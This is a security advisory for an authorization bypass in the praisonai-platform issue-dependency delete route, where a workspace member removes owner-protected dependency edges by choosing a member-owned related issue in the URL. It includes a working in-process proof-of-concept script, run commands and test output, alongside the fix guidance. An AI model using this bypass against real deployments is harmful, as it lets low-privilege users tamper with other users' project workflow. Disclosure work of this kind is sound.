Skip to content

GHSA-mxmx-rh57-jx58 CVE-2026-61441 CVE-2026-62179 PYSEC-2026-4263

PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues

High PyPI
Severity
7.1 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.67% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
Fix
0.1.9
Upgrade praisonai-platform to this version or later

Description

Platform members can delete owner issue dependencies through member-owned related issues

Summary

praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.

Technical Details

The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/dependencies.py defines DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}. The route first verifies that the URL issue_id is in the workspace, loads the dependency by dep_id, and accepts the dependency when either dep.issue_id == issue_id or dep.depends_on_issue_id == issue_id. It then calls require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id) for the URL issue only.

src/praisonai-platform/praisonai_platform/api/deps.py implements require_delete_permission as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy resource_owner_id == user.id, and delete the dependency edge that is also returned from the owner-created issue's dependency list.

The same route family also lets any workspace member create dependency edges on owner-created issues with only require_workspace_member. POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/ verifies that both issues are in the workspace, then calls DependencyService.create(issue_id, body.depends_on_issue_id, body.type) without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns 403 while the related member issue endpoint deletes the same edge with 204.

The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns 403, an owner deleting the same dependency returns 204, and a non-member creating a dependency returns 403. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.

Essential excerpt:

dep_resp = await client.post(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
    headers=owner_headers,
)
dep_id = dep_resp.json()["id"]

member_delete_owner_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

member_delete_member_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

owner_list_after_member_delete = await client.get(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    headers=owner_headers,
)

The full PoV script is included in the appendix below as pov_platform_dependency_delete_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json

Decisive current-head output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "vulnerable": true
}

The key vulnerable sequence is member_delete_owner_issue_endpoint == 403, followed by member_delete_member_issue_endpoint == 204 for the same dependency id, followed by owner_dependency_count_after_member_delete == 0.

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json

Decisive latest-PyPI output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "pypi:praisonai-platform==0.1.8",
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.
praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.
praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.

Impact

An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove blocks, blocked_by, or related workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.

Suggested Fix

Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary dep.issue_id issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.

For creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.

Add regression tests for these cases: a member cannot delete an owner issue -> member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner-side dependency delete bypass is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In 0.1.4, direct member dependency deletes already returned 204, so this narrower bypass is masked by broader older delete authorization behavior.

Suggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.

GHSA-4x6r-9v57-3gqw, "praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR", covers older cross-workspace dependency endpoint IDOR behavior in versions <= 0.1.2. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns 403.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns 403 in current head, 0.1.6, and 0.1.8; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.

Older cross-workspace object IDOR advisories such as GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.

References

  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
  • https://cwe.mitre.org/data/definitions/862.html
  • https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_delete_owner_issue_endpoint": 204
"member_delete_member_issue_endpoint": 404
"member_delete_owner_only_dependency": 204
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 404
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.6 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.8 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

Appendix B - Full PoV Script

Save this as pov_platform_dependency_delete_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform issue-dependency delete authorization."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(
            f"register failed for {email}: {response.status_code} {response.text}"
        )
    body = response.json()
    return body["token"], body["user"]["id"]


async def _create_issue(
    client: Any,
    workspace_id: str,
    headers: dict[str, str],
    title: str,
) -> str:
    response = await client.post(
        f"/api/v1/workspaces/{workspace_id}/issues/",
        json={"title": title, "priority": "high"},
        headers=headers,
    )
    response.raise_for_status()
    return response.json()["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        owner_issue_id = await _create_issue(
            client, workspace_id, owner_headers, "Owner-owned blocked issue"
        )
        member_issue_id = await _create_issue(
            client, workspace_id, member_headers, "Member-owned related issue"
        )

        dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=owner_headers,
        )
        dep_resp.raise_for_status()
        dep_id = dep_resp.json()["id"]

        member_delete_owner_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        member_delete_member_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        owner_list_after_member_delete = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            headers=owner_headers,
        )

        owner_issue_b = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue B"
        )
        owner_issue_c = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue C"
        )
        owner_only_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/",
            json={"depends_on_issue_id": owner_issue_c, "type": "blocks"},
            headers=owner_headers,
        )
        owner_only_dep_resp.raise_for_status()
        owner_only_dep_id = owner_only_dep_resp.json()["id"]
        member_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=member_headers,
        )
        owner_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=owner_headers,
        )

        outsider_create_dependency = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=outsider_headers,
        )

        member_created_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "related"},
            headers=member_headers,
        )
        if member_created_dep_resp.status_code == 201:
            member_created_dep_id = member_created_dep_resp.json()["id"]
            await client.delete(
                f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}",
                headers=owner_headers,
            )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    dependencies_after_delete = (
        owner_list_after_member_delete.json()
        if owner_list_after_member_delete.status_code == 200
        else None
    )
    checks = {
        "member_delete_owner_issue_endpoint": member_delete_owner_endpoint.status_code,
        "member_delete_member_issue_endpoint": member_delete_member_endpoint.status_code,
        "owner_dependency_count_after_member_delete": (
            len(dependencies_after_delete) if dependencies_after_delete is not None else None
        ),
        "member_delete_owner_only_dependency": member_delete…

Affected versions

PyPI

PackageVulnerableFixed in
praisonai-platform
< 0.1.9
0.1.9

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai-platform PyPI → 0.1.9

pip
pip install --upgrade "praisonai-platform>=0.1.9"
poetry
poetry add "praisonai-platform>=0.1.9"
uv
uv add "praisonai-platform>=0.1.9"

Severity breakdown

CVSS 4.0 7.1

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xxgv-vgvj-qvxh
PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
High Also affects praisonai-platform
GHSA-c78w-2q4r-68r7
PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
High Also affects praisonai-platform
GHSA-2fjj-qqg8-fg7x
praisonai-platform: Authorization Bypass Through User-Controlled Key
Medium Also affects praisonai-platform
GHSA-cwj8-7gp2-ggcw
praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery
Critical Also affects praisonai-platform
GHSA-f38v-77qj-h4jq
praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)
Critical Also affects praisonai-platform
GHSA-rh39-9c67-59mh
PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
High Also affects praisonai-platform
GHSA-7p8g-6c6g-h9w7
praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR
High Also affects praisonai-platform
GHSA-g8rr-7rj2-f627
praisonai-platform: Any workspace member can delete the entire workspace via DELETE /workspaces/{id}
High Also affects praisonai-platform
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor